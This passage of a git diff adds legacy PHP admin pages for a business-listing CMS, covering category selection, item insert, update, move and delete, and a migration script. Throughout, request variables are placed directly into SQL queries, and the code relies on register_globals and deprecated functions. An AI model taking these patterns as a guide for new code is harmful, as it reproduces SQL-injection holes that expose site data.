+                       $fields[] = array( name => "file3", title => "File 3", type => "file");
+                       break;
+       }
+function check_lock($id)
+{
+       if( isset( $id ) && $id != '' && is_numeric( $id ) )
+       {
+               if( file_exists( BASE.'static/'.$id.'.phtml' ) )
+               {
+                       return( true );
+               }
+               else
+               {
+                       return( false );
+               }       
+       }
+       else
+       {
+               return( false );
+       }       
+       
+}
+function sort_by_parent($data)
+       {
+               if(!is_array($data))
+                       return(false);
+               foreach($data as $key=>$value)
+               {
+                       $data_new[$value["parent"]][$value["id"]] = $value;
+               }
+               return($data_new);
+       }
+
+function convertParent($threads,$thread)
+       {
+               static $select,$count;
+               if(!$count)
+                       $count = 0;
+               $bgcolor[] = "#ffffff";
+               $bgcolor[] = "#ffffff";
+               $bgcolor[] = "#03A9BC";
+               $bgcolor[] = "#6FD579";
+               $bgcolor[] = "#E36BCB";
+               $bgcolor[] = "#F92A23";
+               if(is_array($thread))
+               {
+                       foreach($thread as $parent=>$value)
+                       {                       
+                               $color = $bgcolor[$count];
+                               $select[$value["id"]]["color"] = $color;
+                               $select[$value["id"]]["category"] = $value["category"];
+                               $select[$value["id"]]["count"] = $count;
+
+                               if(isset($threads[$parent]))
+                               {       
+                                       $count++;
+                                       convertParent($threads, $threads[$parent]);
+                               }
+                       }
+               }
+               $count--;
+               return $select;
+       }
+
+function parent_select($catid,$id,$sel_name = "parent") 
+       {
+               // select catid portion 
+               $qs = "SELECT   id,category,parent 
+                       FROM    bus_category 
+                       ORDER BY parent,pos";
+
+               $data = db_auto_get_data($qs,CONN_STR); 
+               $data1 = sort_by_parent($data);
+               $select = "<select name=\"".$sel_name."\">";
+               if( $sel_name == "parent" )
+               {
+                       $select .= "<option value=\"0\">--No Parent--";
+               }
+               $parts = convertParent($data1,$data1[0]);
+               if(is_array($parts))
+               {
+                       foreach($parts as $key=>$value)
+                       {
+                               if($key != $id && ( $value['count'] < 2 || $sel_name == "catid[]" ))
+                               {
+                                       $bkg = $value["color"];
+                                       $indent = (int)$value["count"] * 10;
+                                       $cc = (int)$value["count"] * 2;
+                                       $paddman = str_repeat("&nbsp;",$cc);
+                                       $select .= '<option value="'.$key.'"';
+                                       if($key == $catid)
+                                               $select .= ' selected';
+                                       $select .= '
+                                               style="background-color:'.$bkg.';"';
+                                       $select .= '>'.$paddman.$value["category"];
+                               }
+                       }
+               }
+               $select .= "</select>";
+               if(CAT_LOCK && $sel_name == "parent")
+               {
+                       if($catid!=0)
+                       {               
+                               $qs = "SELECT   category 
+                                       FROM    bus_category
+                                       WHERE   id = $catid";
+
+                               $res2 = db_auto_get_data($qs,CONN_STR);
+                               $category = $res2['category'];
+                       }
+                       else
+                       {
+                               $category = "No Parent";                
+                       }
+
+                       $select = $category."<input type=\"hidden\" name=\"$sel_name\" value=\"$catid\">";              
+               }
+               return($select);
+       }
+$lnav["Add A New Page"]        = "edit_bus_category.phtml";
+$lnav["List Pages"] = "list_bus_category.phtml";
+?>
diff --git a/admin/Toolbox/update_bus.phtml b/admin/Toolbox/update_bus.phtml
new file mode 100755 (executable)
index 0000000..70aebb5
--- /dev/null
@@ -0,0 +1,573 @@
+<?php
+//$Id: update_bus.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+
+$description = ( trim( strip_tags( $description ) ) != "" ) ? $description :'';
+$description2 = ( trim( strip_tags( $description2 ) ) != "" ) ? $description2 :'';
+$description3 = ( trim( strip_tags( $description3 ) ) != "" ) ? $description3 :'';
+define("TABLE","bus");
+define("ID","id");
+define("SEQUENCE","bus_id_seq");
+
+$LAST = count($fields)-1;
+$location = "../list_bus.phtml?catid=$catid";
+
+http_strip($url);
+
+if(    $REQUEST_METHOD == "POST" || $Command == "Move" ) {
+
+       switch($Command) {
+       
+               case "Move":
+                       if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+               
+                       $qs = "SELECT   pos,id
+                                  FROM         bus_category_bus
+                                  WHERE        id = $id";
+
+                       if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+                       $data = db_fetch_array($result,0,PGSQL_ASSOC);
+                       $pos = $data['pos'];
+               
+                       if($newpos < $pos) {
+                               $qs = "SELECT   id,pos
+                                          FROM         bus_category_bus 
+                                          WHERE        pos < $pos
+                                          AND          pos >= $newpos
+                                          AND          catid = $catid
+                                          ORDER BY pos";
+                               if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                       
+                               $counter = ($newpos + 1);
+                               for($i=0;$i<db_numrows($res);$i++) {
+                                       $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                                       $res_id = $res_data['id'];
+                                       $res_pos = $res_data['pos'];
+                                       $qs = "UPDATE   bus_category_bus
+                                                  SET          pos = $counter
+                                                  WHERE        id = $res_id";
+                               
+                                       if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                                       $counter++;
+                               }
+                       }
+                       else {
+                               $qs = "SELECT   pos,id
+                                          FROM         bus_category_bus
+                                          WHERE        pos > $pos
+                                          AND          pos <= $newpos
+                                          AND          catid = $catid
+                                          ORDER BY pos";
+
+                               if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                       
+                               $counter = ($pos);
+                               for($i=0;$i<db_numrows($res);$i++) {
+                                       $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                                       $res_id = $res_data['id'];
+                                       $res_pos = $res_data['pos'];
+                                       $qs = "UPDATE   bus_category_bus
+                                                  SET          pos = $counter
+                                                  WHERE        id = $res_id";
+                                       
+                                       if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                                       $counter++;
+                               }
+                       }
+                       $qs = "UPDATE   bus_category_bus
+                                  SET          pos = $newpos
+                                  WHERE        id = $id";
+       
+                       if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+               
+                       $location = "list_bus.phtml?catid=$catid";
+                       break;
+       
+               case "Update":
+                       $oldcatid = ereg_replace("^:","",$oldcatid);
+                       $oldcatid = split(":",$oldcatid);
+       
+                       if($category)
+                       {
+                               $category = ereg_replace("^:","",$category);
+                               $catid = split(":",$category);
+                       }
+/*
+               echo "<pre>";
+               //print_r($_POST);
+               print_r($oldcatid);
+               print_r($catid);
+               echo "</pre>";
+               //echo "oldcatid = $oldcatid[0]<br>";
+               //echo "catid = $catid[0]<br>";
+*/
+                       if(!$dbd = db_connect()) 
+                               html_error(DB_ERROR_MSG,0);
+                       db_exec($dbd,"BEGIN WORK");
+       
+                       $array_counter = 0;
+                       if(is_array($catid)) 
+                       {
+
+                               $query = "select catid,pos from bus_category_bus where busid = $id";
+                               $res = db_exec($dbd,$query);
+                               $oldpos = pg_result($res,0,'pos');
+                               while( $row = pg_fetch_array( $res ) )
+                               {
+                                       // do this only if ald catid is being removed
+                                       if( !in_array( $row['catid'],$catid ) )
+                                       {
+                                               $query = "update bus_category_bus set pos = pos - 1 where catid = ".$row['catid']." and pos >= $oldpos";
+//echo $query.'<br>';  
+                                               db_exec($dbd,$query);
+                                               $query = "delete from bus_category_bus where catid = ".$row['catid']." and busid = $id";
+//echo $query.'<br>';  
+                                               db_exec($dbd,$query);                           
+                                       }
+                                       
+                               }
+
+                               foreach($catid as $key=>$value) 
+                               {
+                               
+                                       // do this only if ald catid is being removed
+                                       if( !in_array( $value,$oldcatid ) )
+                                       {
+                                               $qs = "SELECT   count(*) as maxpos
+                                                          FROM         bus_category_bus
+                                                          WHERE        catid = $value";
+               
+                                               if(!$res = db_exec($dbd,$qs)) 
+                                                       html_error(DB_ERROR_MSG.$qs,1);
+               
+                                               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+                                               $pos = ( $row['maxpos'] == 0 ) ? (int)0 : (int)$row['maxpos'] ;
+                                               $pos++;
+                                               
+                                               $qs = "INSERT   
+                                                          INTO         bus_category_bus
+                                                                               (busid,catid,pos)
+                                                          VALUES       ($id,$value,$pos)";
+       //echo $qs.'<br>';      
+                                               if(!db_exec($dbd,$qs))
+                                               {
+                                                       html_error(DB_ERROR_MSG.$qs,1);
+                                               }
+                                       }
+                               }
+                       }
+               //exit();
+                       $fields = array_reverse($fields);
+                       $qs = "UPDATE ".TABLE." SET ";
+                       for($i=0;$i<count($fields);$i++) 
+                               {
+                               if($fields[$i][type]=="date") 
+                                       {
+                                       $month =  $fields[$i][name]."_month";
+                                       $day = $fields[$i][name]."_day";
+                                       $year = $fields[$i][name]."_year";
+                                       $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+                                       $qs .= $fields[$i][name]." = '$date'";
+                                       if($i != $LAST)
+                                               $qs .= ",";
+                                       }
+                               elseif($fields[$i][type]=="datetime") 
+                                       {
+                                       $month =  $fields[$i][name]."_month";
+                                       $day = $fields[$i][name]."_day";
+                                       $year = $fields[$i][name]."_year";
+                                       $H = $fields[$i][name]."_hour";
+                                       $mm = $fields[$i][name]."_mm";
+                                       if($$mm == "PM")
+                                               $$H = $$H + 12;
+                                       $m = $fields[$i][name]."_min"; 
+                                       $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+                                       $qs .= $fields[$i][name]." = '$date'";
+                                       if($i != $LAST)
+                                               $qs .= ",";
+                                       }
+                               elseif($fields[$i][name]!=ID) 
+                                       {
+                                       if($fields[$i][type]=="img") 
+                                               {
+                                               $tmpimg = $fields[$i]['name'];
+                                               $image_tmp = $$tmpimg;
+                                               $oldy = ${"old".$tmpimg};
+                                               $image_tmp_name = ${$tmpimg."_name"};
+                                               if($image_tmp == "none" || $image_tmp == "") 
+                                                       {
+                                                       $image_tmp_name = $oldy;
+                                                       }
+                                               else 
+                                                       { 
+                                                       $image_tmp_name = process_image($image_tmp,$image_tmp_name);
+                                                       @unlink(ORIGINAL_PATH.$oldy);
+                                                       @unlink(RESIZED_PATH.$oldy);
+                                                       @unlink(THUMB_PATH.$oldy);
+                                                       @unlink(MIDSIZED_PATH.$oldy);
+                                                       }
+                                               $delete = ${"delete".$tmpimg};
+                                               if($delete==1) 
+                                                       {
+                                                       $image_tmp_name = "";
+                                                       @unlink(ORIGINAL_PATH.$oldy);
+                                                       @unlink(RESIZED_PATH.$oldy);
+                                                       @unlink(THUMB_PATH.$oldy);
+                                                       @unlink(MIDSIZED_PATH.$oldy);
+                                                       }
+                                               $qs .= $fields[$i][name]." = '".$image_tmp_name."'";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                               }       
+                                       elseif($fields[$i][type]=="seperator") 
+                                               {
+                                                       //empty
+                                               }
+                                       elseif($fields[$i][type]=="file") 
+                                               {
+                                               $tmpfile = $fields[$i]['name'];
+                                               $file_tmp = $$tmpfile;
+                                               $oldy = ${"old".$tmpfile};
+                                               $file_tmp_name = ${$tmpfile."_name"};
+                                               if($file_tmp == "none" || $file_tmp == "") 
+                                                       {
+                                                       $file_tmp_name = $oldy;
+                                                       }
+                                               else 
+                                                       { 
+                                                       $file_tmp_name = file_upload($file_tmp,$file_tmp_name,UP_BASE);
+                                                       }
+
+                                               $delete = ${"delete".$tmpfile};
+                                               if($delete==1) 
+                                                       {
+                                                       $file_tmp_name = "";
+                                                       @unlink(UP_BASE.$oldy);
+                                                       }
+                                               $qs .= $fields[$i][name]." = '".$file_tmp_name."'";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                               }       
+                                       elseif($fields[$i][type]=="static")
+                                               {
+                                               }
+                                       elseif($fields[$i][type]=="password") 
+                                               {
+                                               if(($password && $password2) && ($password == $password2)) 
+                                                       {
+                                                       $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+                                                       if($i != $LAST)
+                                                               $qs .= ",";
+                                                       }               
+                                               }
+                                       else 
+                                               {
+                                               $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                               }
+                                       }
+                               else 
+                                       {
+                                       $qs = substr($qs,0,strlen($qs)-1);
+                                       $qs .= " WHERE ".$fields[$i][name]." = ".$$fields[$i][name];
+                                       }       
+                               }
+                       $fields = array_reverse($fields);
+//echo $qs;
+//exit;
+                       if(!db_exec($dbd,$qs)) 
+                               $ERRORS .= pg_errormessage($dbd).$qs;
+                       $location = "list_bus.phtml?catid=".$catid[0]."&".SID;
+                       db_exec($dbd,"COMMIT WORK");
+                       break;
+       
+               case "Insert":
+                       if($category)
+                       {
+                               $category = ereg_replace("^:","",$category);
+                               $catid = split(":",$category);
+                       }
+                       if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+                       $tmp = "";
+                       $tmp_value = "";
+                       for($i=0;$i<count($fields);$i++) 
+                               {
+                               if($fields[$i][name]!=ID) 
+                                       {
+                                       if($fields[$i][type]!="static" && $fields[$i][type]!="seperator")
+                                               {
+                                               $tmp .= $fields[$i][name];
+                                               $tmp .= ",";    
+                                               }
+                                       }
+                               }
+                       for($i=0;$i<count($fields);$i++) 
+                               {
+                               if($fields[$i][type]=="date") 
+                                       {
+                                       $month =  $fields[$i][name]."_month";
+                                       $day = $fields[$i][name]."_day";
+                                       $year = $fields[$i][name]."_year";
+                                       $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+                                       $tmp_value .= "'$date'";
+                                       $tmp_value .= ",";      
+                                       }
+                               elseif($fields[$i][type]=="static") 
+                                       {
+                                       }
+                               elseif($fields[$i][type]=="seperator") 
+                                       {
+                                       }
+                               elseif($fields[$i][type]=="datetime") 
+                                       {
+                                       $month =  $fields[$i][name]."_month";
+                                       $day = $fields[$i][name]."_day";
+                                       $year = $fields[$i][name]."_year";
+                                       $H = $fields[$i][name]."_hour";
+                                       $mm = $fields[$i][name]."_mm";
+                                       if($$mm == "PM")
+                                               $$H = $$H + 12;
+                                       $m = $fields[$i][name]."_min"; 
+                                       $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+                                       $tmp_value .= "'$date'";
+                                       $tmp_value .= ",";      
+                                       }
+                               elseif($fields[$i][type]=="img")
+                                       {
+                                       $tmpimg = $fields[$i]['name'];
+                                       $image = $$tmpimg;
+                                       $image_name = ${$tmpimg."_name"};
+                                       if($image == "none" || $image == "") 
+                                               {
+                                               $image_name = '';
+                                               }
+                                       else 
+                                               { 
+                                               $image_name = process_image($image,$image_name);
+                                               }
+                                       $tmp_value .= "'".$image_name."'";
+                                       $tmp_value .= ",";      
+                                       }
+                               elseif($fields[$i][type]=="file")
+                                       {
+                                       $tmpfile = $fields[$i]['name'];
+                                       $file = $$tmpfile;
+                                       $file_name = ${$tmpfile."_name"};
+                                       if($file == "none" || $file == "") 
+                                               {
+                                               $file_name = '';
+                                               }
+                                       else 
+                                               { 
+                                               $file_name = file_upload($file,$file_name,UP_BASE);
+                                               }
+                                       $tmp_value .= "'".$file_name."'";
+                                       $tmp_value .= ",";      
+                                       }
+                               elseif($fields[$i][name]!=ID) 
+                                       {
+                                       $tmp_value .= "'".$$fields[$i][name]."'";
+                                       $tmp_value .= ",";      
+                                       }
+                               }
+                       // get the lat and lon for bus
+       
+                       // check for all blanks
+                       $tmp_blank = str_replace("'","",$tmp_value);
+                       $tmp_blank = str_replace(",","",$tmp_blank);
+                       $tmp = substr($tmp,0,strlen($tmp)-1);
+                       $tmp_value = substr($tmp_value,0,strlen($tmp_value)-1);
+                       if(!$res = db_exec($dbd,"BEGIN WORK")) 
+                               die( pg_errormessage($dbd).$qs );
+                       if($tmp_blank) 
+                               {
+                                       $qs = "INSERT INTO ".TABLE." 
+                                                               (".ID.", $tmp )
+                                                  VALUES
+                                                               (nextval('".SEQUENCE."'), $tmp_value)";
+                                       if(!$res = db_exec($dbd,$qs)) 
+                                       {
+                                               die( pg_errormessage($dbd).$qs );
+                                       }
+                                       if(!$oid = pg_GetLastOid($res)) 
+                                       {
+                                               die( pg_errormessage($dbd).$qs );
+                                               html_error("CANT GET LAST OID",1);
+                                       }
+                                       
+                                       $qs = "SELECT   id
+                                                  FROM         bus 
+                                                  WHERE        oid = $oid";
+                                       if(!$res = db_exec($dbd,$qs))
+                                       {
+                                               html_error(DB_ERROR_MSG.$qs,0);
+                                       }
+                                       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+                                       if(is_array($catid))
+                                       {
+                                               foreach($catid as $key=>$value) 
+                                               {
+                                                       $qs = "SELECT   count(*) as maxpos
+                                                                  FROM         bus_category_bus
+                                                                  WHERE        catid = $value";
+                               
+                                                       if(!$res = db_exec($dbd,$qs)) 
+                                                       {
+                                                               html_error(DB_ERROR_MSG.$qs,1);
+                                                       }
+                               
+                                                       $row2 = db_fetch_array($res,0,PGSQL_ASSOC);
+                                                       if( !$pos = $row2[maxpos])
+                                                       {
+                                                               $pos = 1;
+                                                       }
+                                                       else
+                                                       {
+                                                               $pos++;
+                                                       }
+                                                       
+                                                       $qs = "INSERT   
+                                                                  INTO         bus_category_bus
+                                                                                       (busid,catid,pos)
+                                                                  VALUES       ($row[id],$value,$pos)";
+                               
+                                                       if(!db_exec($dbd,$qs))
+                                                       {
+                                                               html_error(DB_ERROR_MSG.$qs,1);
+                                                       }
+                                                       if(!$res = db_exec($dbd,"COMMIT WORK")) 
+                                                       {
+                                                               die( pg_errormessage($dbd).$qs );
+                                                       }
+                                               }
+                                       }
+                                       else
+                                       {
+                                                       $qs = "SELECT   count(*) as maxpos
+                                                                  FROM         bus_category_bus
+                                                                  WHERE        catid = $catid";
+                               
+                                                       if(!$res = db_exec($dbd,$qs)) 
+                                                       {
+                                                               html_error(DB_ERROR_MSG.$qs,1);
+                                                       }
+                               
+                                                       $row2 = db_fetch_array($res,0,PGSQL_ASSOC);
+                                                       if( !$pos = $row2[maxpos])
+                                                       {
+                                                               $pos = 1;
+                                                       }
+                                                       else
+                                                       {
+                                                               $pos++;
+                                                       }
+                                                       $qs = "INSERT   
+                                                                  INTO         bus_category_bus
+                                                                                       (busid,catid,pos)
+                                                                  VALUES       ($row[id],$catid,$pos)";
+                               
+                                                       if(!db_exec($dbd,$qs))
+                                                       {
+                                                               html_error(DB_ERROR_MSG.$qs,1);
+                                                       }
+                                                       if(!$res = db_exec($dbd,"COMMIT WORK")) 
+                                                       {
+                                                               die( pg_errormessage($dbd).$qs );
+                                                       }
+                                       }
+                               }
+                       $location = "list_bus.phtml?catid=".$catid[0]."&".SID; 
+               
+                       break;
+       
+               case "Delete":
+                       $oldcatid = ereg_replace("^:","",$oldcatid);
+                       $oldcatid = split(":",$oldcatid);
+       
+                       $qs = "DELETE FROM bus
+                                  WHERE id = $id";
+                       if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+                       
+                       @unlink(ORIGINAL_PATH."/".$oldimage);
+                       @unlink(RESIZED_PATH.$oldimage);
+                       @unlink(THUMB_PATH.$oldimage);
+                       @unlink(MIDSIZED_PATH.$oldimage);
+                       
+                       @unlink(ORIGINAL_PATH."/".$oldimage2);
+                       @unlink(RESIZED_PATH.$oldimage2);
+                       @unlink(THUMB_PATH.$oldimage2);
+                       @unlink(MIDSIZED_PATH.$oldimage2);
+                       
+                       @unlink(ORIGINAL_PATH."/".$oldimage3);
+                       @unlink(RESIZED_PATH.$oldimage3);
+                       @unlink(THUMB_PATH.$oldimage3);
+                       @unlink(MIDSIZED_PATH.$oldimage3);
+                       
+                       @unlink(UP_BASE.$oldfile);
+                       @unlink(UP_BASE.$oldfile2);
+                       @unlink(UP_BASE.$oldfile3);
+                       $dbd = db_connect();
+                       
+                       if(!$dbd) html_erro(DB_ERROR_MSG,1);
+                       
+                       foreach($oldcatid as $key=>$value){
+                               $qs = "SELECT   id,pos
+                                          FROM         bus_category_bus
+                                          WHERE        busid = $id";
+       
+                               if(!$res = db_exec($dbd,$qs)) 
+                                       html_error(DB_ERROR_MSG.$qs,1);
+                               
+                               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+                               
+                               $qs = "SELECT   id
+                                          FROM         bus_category_bus
+                                          WHERE        pos > $row[pos]
+                                          AND          catid = $value
+                                          ORDER BY pos";
+                               
+                               if(!$res2 = db_exec($dbd,$qs)) 
+                                       html_error(DB_ERROR_MSG.$qs,1);
+                               
+                                       $counter = $row[pos];
+                                       for($i=0;$i<db_numrows($res2);$i++) {
+                                               $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+                                       
+                                               $qs = "UPDATE   bus_category_bus
+                                                          SET          pos = $counter
+                                                          WHERE        id = $row2[id]";
+                                                          
+                                               if(!db_exec($dbd,$qs)) 
+                                                       html_error(DB_ERROR_MSG.$qs,1);
+                                               $counter++;
+                                       }
+                               }
+                               $qs = "DELETE   
+                                          FROM         bus_category_bus
+                                          WHERE        busid = $id";
+                                                  
+                               if(!db_exec($dbd,$qs)) 
+                                       html_error(DB_ERROR_MSG.$qs,1);
+                               $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID; 
+                       break;
+       
+               case "Cancel":
+                       $oldcatid = ereg_replace("^:","",$oldcatid);
+                       $oldcatid = split(":",$oldcatid);
+                       $catid = ereg_replace("^:","",$oldcatid);
+                       $catid = split(":",$oldcatid);
+                       $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID; 
+                       break;
+       
+               default:
+                       html_error("incorrect value for Command",1);
+                       break;
+                       
+       }
+       
+       header("Location: $location");
+}
+?>
diff --git a/admin/Toolbox/update_bus_category.phtml b/admin/Toolbox/update_bus_category.phtml
new file mode 100755 (executable)
index 0000000..88f6549
--- /dev/null
@@ -0,0 +1,260 @@
+<?php
+//$Id: update_bus_category.phtml,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+include("../../setup.phtml");
+$description = ( trim( strip_tags( $description ) ) != "" ) ? $description :'';
+if($REQUEST_METHOD == "POST" || $Command == "Move") {
+       switch($Command) {
+
+               case "Move":
+               if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+               
+               $qs = "SELECT   pos,id
+                          FROM         bus_category
+                          WHERE        id = $id";
+
+               if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+               $data = db_fetch_array($result,0,PGSQL_ASSOC);
+               $pos = $data['pos'];
+               
+               if($newpos < $pos) {
+                       $qs = "SELECT   id,pos
+                                  FROM         bus_category
+                                  WHERE        pos < $pos
+                                  AND          pos >= $newpos
+                                  AND          parent = $parent
+                                  ORDER BY pos";
+
+                       if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                       
+                       $counter = ($newpos + 1);
+                       for($i=0;$i<db_numrows($res);$i++) {
+                               $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                               $res_id = $res_data['id'];
+                               $res_pos = $res_data['pos'];
+                               $qs = "UPDATE   bus_category
+                                          SET          pos = $counter
+                                          WHERE        id = $res_id";
+                               
+                               if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                               $counter++;
+                       }
+               }
+               else {
+                       $qs = "SELECT   pos,id
+                                  FROM         bus_category
+                                  WHERE        pos > $pos
+                                  AND          pos <= $newpos
+                                  AND          parent = $parent
+                                  ORDER BY pos";
+
+                       if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                       
+                       $counter = ($pos);
+                       for($i=0;$i<db_numrows($res);$i++) {
+                               $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                               $res_id = $res_data['id'];
+                               $res_pos = $res_data['pos'];
+                               $qs = "UPDATE   bus_category
+                                          SET          pos = $counter
+                                          WHERE        id = $res_id";
+                               
+                               if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                               $counter++;
+                       }
+               }
+               $qs = "UPDATE   bus_category 
+                          SET          pos = $newpos
+                          WHERE        id = $id";
+
+               if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+       
+               $location = "list_bus_category.phtml?catid=$catid";
+       break;
+       
+       case "Update":
+               
+               if($image != "none" && $image != "") {
+                       @unlink(ORIGINAL_PATH."/".$oldimage);
+                       @unlink(RESIZED_PATH.$oldimage);
+                       @unlink(THUMB_PATH.$oldimage);
+                       @unlink(MIDSIZED_PATH.$oldimage);
+                       $image_name = process_image($image,$image_name);
+               }
+               else {
+                       $image_name = $oldimage;
+               }
+               
+               if($delete == "1") {
+                       $image_name = "";
+                       
+                       @unlink(ORIGINAL_PATH."/".$oldimage);
+                       @unlink(RESIZED_PATH.$oldimage);
+                       @unlink(THUMB_PATH.$oldimage);
+                       @unlink(MIDSIZED_PATH.$oldimage);
+               }
+
+               if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+               
+               if($parent != $oldparent) {
+
+                       $qs = "SELECT   MAX(pos) as maxpos
+                                  FROM         bus_category
+                                  WHERE        parent = $parent";
+
+                       $res = db_exec($dbd,$qs);
+                       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+                       $pos = $row[maxpos];
+                       $pos++;
+                       
+                       $qs = "SELECT   pos,id 
+                                  FROM         bus_category
+                                  WHERE        parent = $oldparent
+                                  AND          pos > $oldpos
+                                  ORDER BY pos";
+                                  
+                       $res2 = db_exec($dbd,$qs);
+                       $oldparent_counter = $oldpos;
+                       for($i=0;$i<db_numrows($res2);$i++) {
+                               $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+                               $qs = "UPDATE   bus_category
+                                          SET          pos = $oldparent_counter
+                                          WHERE        id = $row2[id]";
+
+                               db_exec($dbd,$qs);
+                               $oldparent_counter++;
+                       }
+                       
+               }
+               else {
+                       $pos = $oldpos;
+               }
+               $template = ( $template ) ? $template : 1;
+               
+               $qs = "update bus_category 
+                       set category = '$category', 
+                       parent = $parent,
+                       pos = $pos,
+                       intro = '$intro',
+                       description = '$description',
+                       image = '$image_name',
+                       keyword = '$keyword',
+                       template = $template
+                       where id = $id";
+               
+               if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+               
+               $location = "list_bus_category.phtml?".SID; 
+       
+       break;
+       
+       case "Insert":
+               
+               $parent = ( $parent ) ? $parent : 0;
+               if($image != "none" && $image != "") {
+                       $image_name = process_image($image,$image_name);
+               }
+               else { 
+                       $image_name = $oldimage;
+               }
+
+               if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+               $qs = "SELECT   MAX(pos) as maxpos
+                          FROM         bus_category
+                          WHERE        parent = $parent";
+
+               $res = db_exec($dbd,$qs);
+               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+               $nextpos = $row[maxpos];
+               $nextpos++;
+               
+               db_close($dbd);
+               
+               $template = ( $template ) ? $template : 1;
+               $parent = ( $parent ) ? $parent : 0;
+               $qs = "insert into bus_category 
+                       (template,keyword,category,parent,intro,description,image,pos)
+                       values 
+                       ($template,'$keyword','$category',$parent,'$intro','$description','$image_name',$nextpos)";
+                                       
+               if(!db_auto_exec($qs)) html_error("failed ->".$qs,1);
+               
+               $location = "list_bus_category.phtml?".SID; 
+       
+       break;
+       
+       case "Delete":
+               
+               $dbd = db_connect();
+               
+               if(!$dbd) html_erro(DB_ERROR_MSG,1);
+               
+               $qs = "SELECT   count(*) as count 
+                          FROM         bus_category_bus
+                          WHERE        catid = $id";
+               
+               $res = db_exec($dbd,$qs);
+               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+
+               if($row['count'] >0) {
+                       html_error("Sorry but you have items in there\n 
+                                               Delete these records first\n",1); 
+               }
+               
+               $qs = "SELECT   parent 
+                          FROM         bus_category 
+                          WHERE        parent = $id";
+               
+               $res = db_exec($dbd,$qs);
+
+               if(db_numrows($res) >0) {
+                       html_error("Sorry but you have Categories in there\n 
+                                               Delete these Categories first\n",1); 
+               }
+               
+               $qs = "SELECT   pos,id 
+                          FROM         bus_category
+                          WHERE        parent = $oldparent
+                          AND          pos > $oldpos
+                          ORDER BY pos";
+                                  
+               $res2 = db_exec($dbd,$qs);
+               $oldparent_counter = $oldpos;
+               for($i=0;$i<db_numrows($res2);$i++) {
+                       $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+                       $qs = "UPDATE   bus_category
+                                  SET          pos = $oldparent_counter
+                                  WHERE        id = $row2[id]";
+
+                       db_exec($dbd,$qs);
+                       $oldparent_counter++;
+               }
+               
+               $qs2 = "DELETE 
+                               FROM            bus_category 
+                           WHERE               id = $id";
+               
+               if(!db_auto_exec($qs2)) html_error(DB_ERROR_MSG.$qs2,1);
+               
+               @unlink(ORIGINAL_PATH."/".$oldimage);
+               @unlink(RESIZED_PATH.$oldimage);
+               @unlink(THUMB_PATH.$oldimage);
+               @unlink(MIDSIZED_PATH.$oldimage);
+               
+               $location = "list_bus_category.phtml?".SID; 
+       
+       break;
+       
+       case "Cancel":
+               $location = "list_bus_category.phtml?".SID; 
+       break;
+       
+       default:
+               html_error("incorrect value for Command",1);
+       break;
+       }
+       
+header("Location: $location");
+}
+?>
diff --git a/admin/Toolbox/updatetoolset.php b/admin/Toolbox/updatetoolset.php
new file mode 100755 (executable)
index 0000000..1e13fa9
--- /dev/null
@@ -0,0 +1,28 @@
+<?php
+       /* If you don't have a newsletter installed then comment oeut the part where it updates
+         the news and news_block tables
+        or else this will rollback (since it is in a transaction)
+       :) 
+        */
+       require_once('../../setup.phtml');
+       require_once(BASE.'classes/class_db.inc');
+       require_once(BASE.'classes/class_template.inc');
+
+       $DB =& new GLM_DB();
+       $DB->db_connect();
+       $DB->db_exec( "BEGIN WORK" );
+
+       echo 'replacing newlines with &lt;br&gt; in bus_category<br>';
+       $DB->db_exec( "update bus_category set description = replace(description,'\\n','<br>')" );
+       echo 'replacing newlines with &lt;br&gt; in bus<br>';
+       $DB->db_exec( "update bus set description = replace(description,'\\n','<br>')" );
